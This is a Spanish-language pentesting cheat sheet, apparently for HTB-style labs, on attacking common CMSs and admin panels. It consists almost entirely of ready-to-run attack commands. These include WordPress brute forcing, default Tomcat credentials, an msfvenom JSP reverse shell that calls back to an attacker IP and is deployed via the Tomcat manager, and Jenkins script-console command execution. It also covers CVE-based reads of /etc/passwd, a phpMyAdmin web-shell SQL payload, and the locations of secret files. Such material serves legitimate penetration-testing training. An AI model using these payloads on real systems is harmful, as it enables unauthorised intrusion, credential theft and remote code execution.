CMS y paneles conocidos
WordPress, Joomla, Drupal, Tomcat, Jenkins, phpMyAdmin, Grafana y Werkzeug: cómo enumerarlos, las credenciales por defecto y el camino típico a ejecución de comandos.
WordPress
- Plugins, temas y usuarios
wpscan --url http://objetivo.htb -e ap,at,u --plugins-detection aggressive - Usuarios por la API
curl -s http://objetivo.htb/wp-json/wp/v2/users - Fuerza bruta de contraseña
wpscan --url http://objetivo.htb -U admin -P /usr/share/wordlists/rockyou.txt - ¿xmlrpc activo?
curl -s -X POST http://objetivo.htb/xmlrpc.php -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' - Versión de un plugin
curl -s http://objetivo.htb/wp-content/plugins/nombre-plugin/readme.txt | head -20 - RCE con admin: editar un tema
Apariencia → Editor de archivos de temas → 404.php http://objetivo.htb/wp-content/themes/<tema>/404.php - Credenciales de la base de datos
/var/www/html/wp-config.php
Joomla y Drupal
- Versión de Joomla
curl -s http://objetivo.htb/administrator/manifests/files/joomla.xml | grep version - Joomla: fuga de configuración (CVE-2023-23752)
curl -s "http://objetivo.htb/api/index.php/v1/config/application?public=true" - Joomla: escáner
joomscan -u http://objetivo.htb - Drupal: escáner
droopescan scan drupal -u http://objetivo.htb - Drupal: versión
curl -s http://objetivo.htb/CHANGELOG.txt | head - RCE con admin en Joomla
Sistema → Plantillas del sitio → editar error.php
Tomcat
- Panel de administración
http://objetivo.htb/manager/html - Credenciales por defecto
tomcat:s3cret admin:admin tomcat:tomcat admin:tomcat - Contraseñas en el servidor
/usr/share/tomcat9/etc/tomcat-users.xml /opt/tomcat/conf/tomcat-users.xml - 1. Crear un .war
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f war -o shell.war - 2. Desplegarlo sin el navegador
curl -u 'tomcat:s3cret' --upload-file shell.war "http://objetivo.htb/manager/text/deploy?path=/shell" - 3. Lanzarlo
curl http://objetivo.htb/shell/
Jenkins
- Consola de scripts
http://objetivo.htb/script - Comando en Linux
println "id".execute().text - Comando en Windows
println "cmd.exe /c whoami".execute().text - Leer un archivo (CVE-2024-23897)
java -jar jenkins-cli.jar -s http://objetivo.htb -http connect-node "@/etc/passwd" - Secretos guardados
/var/lib/jenkins/credentials.xml /var/lib/jenkins/secrets/master.key /var/lib/jenkins/secrets/hudson.util.Secret
Otros
- phpMyAdmin: web shell por SQL
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/s.php'; - Grafana: leer archivos (CVE-2021-43798)
curl --path-as-is "http://objetivo.htb/public/plugins/alertlist/../../../../../../../../etc/passwd" - Werkzeug / Flask en modo debug
http://objetivo.htb/console - Nginx: alias sin barra (off-by-slash)
curl -s http://objetivo.htb/assets../ - Credenciales por defecto de cualquier producto
grep -ri "nombre-producto" /usr/share/seclists/Passwords/Default-Credentials/